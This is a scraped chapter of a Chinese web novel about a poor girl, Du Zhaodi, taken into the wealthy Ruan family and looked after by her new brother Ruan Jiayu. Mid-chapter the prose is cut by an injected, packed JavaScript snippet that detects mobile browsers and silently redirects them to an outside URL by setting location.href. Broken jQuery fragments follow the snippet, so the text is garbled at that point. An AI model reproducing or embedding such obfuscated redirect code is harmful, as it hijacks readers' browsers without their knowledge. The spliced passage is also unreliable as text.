默认冷灰
24号文字
方正启体

3. 第 3 章

作者:芽生于野本书字数:K更新时间:
    短暂几秒的触碰,她能感知到那骨骼的劲瘦和脉络的起伏,更清晰的,是那份厚重的,挟着一股淡香的体温。


    杜招娣瞳孔一震,再次僵住。


    “冷吗?”他问。


    徐徐而沉稳的嗓音飘进耳里,让她的惊慌陡然灰飞烟灭:


    就这样吧,如果他是个坏人,那她就在今夜死去,也不见得是件太糟糕的事。


    杜招娣咬着唇,竭力控制发酸的眼睛,摇了摇头。


    模糊的视野里,她看见他收回手,又扣在自己额头上感知温度,然后挪去衣襟处,一瞬将大衣摘了下来。


    未及反应的,那件昂贵的大衣裹着男人灼热的温度和洁净的味道,兜头而下,罩在了她的肮脏又腥臭的身上。


    大衣摘下,他闪闪发光的腕表露出来,阮嘉遇低头看一眼:“很快就到家了,抱歉,我们原本计划年后再去接你,没想到你会自己……”


    他转眸过来,这话戛然而止。


    半晌,车里只有漏泄的风声,他嗓音沉沉的,毫无根据地说:“别怕,天亮了。”


    窗外,一片漆黑,这个季节的夜,总是黑得过分空洞、凛冽和阴沉。


    但杜招娣恍惚真的看到了曙光,或许因为车内开了橙黄的灯光,也或许因为身上的大衣驱散了裹挟一身的寒冷和恐惧。


    她无端地开始相信一个人。


    -


    杜招娣从一座山,逃到了另一座山。


    不同的是巧梨沟的阮家大宅,宏伟漂亮到她不敢踏进去,厚重的大门和雕花的外墙上,还留有明显的小舅坑蒙拐骗的杰作,杜招娣看一眼,低下头去。


    小舅给人看风水,是骗人还是正儿八经有本事,杜招娣不清楚。


    这套本事是他跟狱友学的,对方做了四十几年风水师,本是不愁生计的,临了把路走瘸了,这辈子要耗在监狱里,不想把手艺废了,便传给了他。


    阮嘉遇走马观花扫过那些有碍观瞻的符纸,又看身后恨不得把自己缩小成一粒灰尘的新妹妹,不确定风水师有没有交待清楚情况,便笑了笑:“别害怕,是祈福用的,家里没有脏东西,我用人格向你保证。”


    杜招娣心怀愧疚地点点头。


    阮嘉遇带她进屋,天色已晚,就没急着带她认路,只往房间走,路过什么地方,就顺带指一指,提一句。


    “肚子饿不饿?吃过晚餐吗?”


    “吃过。”


    “那边是厨房,冰箱里大概还有些水果、糕点,你如果饿可以去找找,看有没有想吃的,没有的话跟周阿姨……”说到这里,阮嘉遇想起,保姆周阿姨休假回家了,他于是改口,“这段时间就跟我说,我去集市买。”


    话落,他又补充:“周阿姨是家里的保姆,平时帮着家里做饭、洗衣服,现在也帮着带孩子。”


    孩子?


    “这里的宅子太大了,打扫卫生有专业的清洁公司,好像是一周做一次。”


    杜招娣缓了口气,从他只言片语的介绍中挖掘自己的价值,终于能够回上一句:“我、我也会打扫卫生,会带孩子,我有两个弟弟,我都带过……他们长得壮壮的,很健康。”


    这个时候,那两个小畜生又成了她标榜自己能力的工具,杜招娣不知道自己是悲哀还是幸运。


    阮嘉遇扭头看她,昏朦的灯光下,这一眼好像很深、很重,像硬梆梆的一块石头,轰然击中了她脆弱的神经。


    以为他不相信,杜招娣忐忑地开口:“我真的会……”


    “你还在应该上学的年龄,我是认了个妹妹,不是认了个免费保姆。”阮嘉遇不紧不慢地打断她,又收回视线,“爷爷和爸妈住这里是因为习惯了,你还要上学,等开学,我会给你办转学手续,你得搬去魁城,哦,对了,家里有哪些成员你还不知道吧?”


    他说着,便自顾自开始介绍阮家的家庭成员。


    杜招娣安安静静地听,认认真真地记,她察觉到他的不耐烦,因为他的声音一直没有停,明显是不想给她接话的机会。


    这段路走得无比漫长,说话间,两人到了南院。


    这里自从阮家女婿梁鹤深来住过一次后,就改头换面了,没想着再让他住进来,只是为了以防万一,没想到,如今新来的妹妹成了这个万中有一。


    阮嘉遇带着杜招娣走去正屋,推开门,下意识在面前扇了扇浮动于空气的微尘,因为时常都在打扫,装修也过去很久,里面倒是没有什么味道,只是久未住人,显得有些干燥、空荡。


    他进去后,先调试空调,然后走进卫生间,检查热水器等一应设施,屋内情况一目了然,他就没有废话,然后拉开衣柜门,抱出里面崭新的被褥。


    再往床的方向走,余光瞄到杜招娣仍然直愣愣地站在门边,一双看着就疼的手紧紧抓着她破破烂烂的包,这一瞄,又瞄到她的脚上,一双泥泞的、比她的背包更破烂的毛线鞋,整个人被洁净的地板一衬,更显灰败。


    阮嘉遇停下脚步,看向她,一颗烦躁的心变得沉闷,却又柔软:“那个,小妹……”


    他得承认,他活了三十一年,还是头一次觉得“妹”这个字能被他说得如此生硬,毕竟往前二十余年,他只有嘉意一个妹妹,也从未想过还会再有一个妹妹。


    老实说,阮嘉遇和另外两个兄弟一样抗拒她的到来,直觉她会分走一部分属于嘉意的偏爱,也曾试想,假如她因为自己的“作用”而有恃无恐,他一定会毫不犹豫把她驱赶出去。


    但眼下情况,是他不曾预料的。


    “招娣”这个名字本身没什么特殊意义,阮嘉遇不会因为一个名字对人持有偏见,坏就坏在她用她苍白枯槁的唇,说自己有两个强壮健康的弟弟,她闪动着克制的盈盈泪光望着他,哪怕是在无比浑浊的光线下,那份谨小慎微也清晰到能让他看透每一个细节,就像一张胡乱攀爬的荆棘,带着刺,狠狠扎进了眼睛。


    她的名字,他再也叫不出口。


    “哥跟你说周阿姨,本意不是……不是让你觉得家里认下你,是觉得你有利可图,诚然是有部分不纯粹的目的,但你来了这个家,就是家里的一员,你可以帮忙带小孩,也可以帮忙做家务,但那不是你的义务,我希望你来了这里,从此能够开开心心、无忧无虑地生活。”


    “过去的……”他的视线不知不觉移去她的手上,杜招娣警惕地瑟缩一下,将她粗烂的手指藏得更紧。


    阮嘉遇皱起眉,千言万语的承诺堵在喉咙里,在她这份胆怯和自卑面前,变得毫无意义,他小心翼翼地问:“这样说,你能理解吗?”


    杜招娣缓缓抬起头,隔着一段不近不远的距离,眼角噙泪凝望他,良久,木然地点点头。


    阮嘉遇帮她铺好床,再瞥了眼她腿边扁扁的背包,抬眸温和地道了句“晚安”,离开了。


    门被轻轻合上,冷空气被彻底隔绝,杜招娣走去床边,本想将背包放上去整理行李,但她觉得脚下的地板也比她和她干瘪的行李干净,所以还是放在了地上。


    她没有急于整理,因为难以置信。


    应该是一场梦吧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542929|171068||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?


    杜招娣觉得她不属于这个房间。


    但低头嗅嗅,想要洗澡的欲望到了极点,她抱着换洗衣服进了卫生间。


    灯光一亮,这里洁净得让她有种坠落天堂的失重感,地板是白的,墙壁是白的,天花板也是白的,她好像被裹进了一团软软的云朵,但周遭的一切竟然还在闪闪发光,就像嵌了宝石,她屏住呼吸,小心走到中央,突生一种侵犯神圣的罪恶感。


    眼前,洗漱台又大又漂亮,明亮的半身镜映出与这里格格不入的一张脸,杜招娣看到了自己的局促不安。


    脑海中闪过阮嘉遇的一张脸,和镜子里的轮廓重叠,她觉得自己就像一只阴沟的老鼠,因为缺失了太久的阳光而变得灰暗,不同于他,他像电影里高贵的布偶猫,眼睛里镶嵌了宝石,每根毛发都闪动着耀眼的金光。


    所以,就连这样幻想中的轮廓重叠,都让她觉得罪恶。


    杜招娣晃了晃脑袋,将衣服放在了洗漱台上,刚才阮嘉遇检查设施,动作很快,她看得眼花缭乱,很多细节没有记住,所以当她打开花洒,被兜头的热水浇洒时,她发出了一声堪称惊恐的呼声。


    好温暖!她淋了一场从未经历过的温暖的雨。


    她觉得自己是腐木上的一块霉斑,因为这场雨,冒出圆圆亮亮一个顶,她疯狂地长出来,成了一朵无毒无害的蘑菇。


    杜招娣擦了擦脸,擦去脸上不知是泪还是水的潮湿,她没有在卫生间找到肥皂,身边置物架上只有沐浴露、洗发水、护发素,当她挤出一泵,在身上抹出泡泡时,花香四溢,她开始变得猖狂,觉得自己不是蘑菇,而是一朵花。


    杜招娣露出了久违的笑容,如果这是一场梦,那她没出息地希望自己永远不醒。


    -


    另一边,阮嘉遇还没有吃晚饭,他去厨房觅食,先拆了一包饼干填肚子,家里应有尽有,尤其冰箱冷冻室,被一应冻货塞得满满当当,但他会煮的,只有面条。


    烧开水,望着咕咚冒泡的沸汤,他丢一把面下去,再拿筷子搅一搅,沸汤转瞬变得浑浊,就像他的心情,他端着碗,凭感觉放调料,放了一半,忽然丢了碗,掏出手机,给自己的亲妹子打了个电话。


    那边去国外出差,刚下飞机,还在倒时差,电话响了许久才接,声音含糊,第一句就是表达不满:“哥,你干嘛啊!我睡觉呢,你好烦!”


    明明人不在眼前,阮嘉遇还是微微俯身,一脸温柔,又赔笑着道歉:“对不起啊妹妹,哥哥的错,等你回来任你惩罚好不好?”


    对面“唔”一声,问他什么事儿。


    阮嘉遇说出自己打电话叨扰她的理由。


    对面好像醒过来,连声音都变得清晰:“可是,那都是旧衣服啊!怎么能把旧衣服给人家穿?我是没有关系啦,但是……你还是带她去买新衣服吧!”


    “是没有钱用了吗?”嘉意想起阮嘉遇离婚这件事,可能手头紧凑,体贴道,“我转给你……”


    话音没落,耳边就叮响一声,是到账通知。


    “我有钱啊!我怎么会没钱啊!”阮嘉遇不由得抬手,摁了摁太阳穴,提醒她,“国内现在是晚上,我之前没想到有这一茬,眼下就是应急,她身上那件外套太单薄了,而且……总之真是应急!不是要苛待她!”


    嘉意又长长地“唔”了声,直截了当地说:“那你自己跟她商量吧,我没关系的。”


    得了这边的应允,阮嘉遇稀里哗啦随便应付了一碗没滋没味的面条,把碗往水槽一丢,掉头往南院走。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)